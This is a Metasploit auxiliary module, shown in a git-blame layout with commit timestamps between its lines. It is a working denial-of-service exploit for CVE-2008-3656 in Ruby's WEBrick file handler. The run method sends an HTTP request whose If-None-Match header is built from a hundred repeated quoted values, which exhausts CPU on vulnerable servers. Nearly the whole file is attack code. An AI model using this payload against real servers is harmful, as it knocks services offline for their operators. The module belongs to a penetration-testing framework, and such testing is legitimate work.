2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-01-09 05:33:26 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2010-04-30 08:40:19 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
|
2008-10-17 15:40:20 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-10-17 15:40:20 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-10-17 15:40:20 +00:00
|
|
|
'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
The WEBrick::HTTP::DefaultFileHandler in WEBrick in
|
|
|
|
Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7
|
|
|
|
to 1.8.7-p71, and 1.9 to r18423 allows for a DoS
|
|
|
|
(CPU consumption) via a crafted HTTP request.
|
|
|
|
},
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-10-17 15:40:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2009-01-09 05:33:26 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-10-17 15:40:20 +00:00
|
|
|
'References' => [
|
|
|
|
[ 'BID', '30644'],
|
|
|
|
[ 'CVE', '2008-3656'],
|
2010-02-23 17:16:38 +00:00
|
|
|
[ 'OSVDB', '47471' ],
|
2008-10-17 15:40:20 +00:00
|
|
|
[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 08 2008'))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('URI', [ true, 'URI to request', '/' ])
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
begin
|
|
|
|
o = {
|
|
|
|
'uri' => datastore['URI'] || '/',
|
|
|
|
'headers' => {
|
|
|
|
'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
c = connect(o)
|
|
|
|
c.send_request(c.request_raw(o))
|
|
|
|
|
|
|
|
print_status("Request sent to #{rhost}:#{rport}")
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
print_status("Couldn't connect to #{rhost}:#{rport}")
|
2010-04-30 08:40:19 +00:00
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
2008-10-17 15:40:20 +00:00
|
|
|
end
|
|
|
|
end
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|